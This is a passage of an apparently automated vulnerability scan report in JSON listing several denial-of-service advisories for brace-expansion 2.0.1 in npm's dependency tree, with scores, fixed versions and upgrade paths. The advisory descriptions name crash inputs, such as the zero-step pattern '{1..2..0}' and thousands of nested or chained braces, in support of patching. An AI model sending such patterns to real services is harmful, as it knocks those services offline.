"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
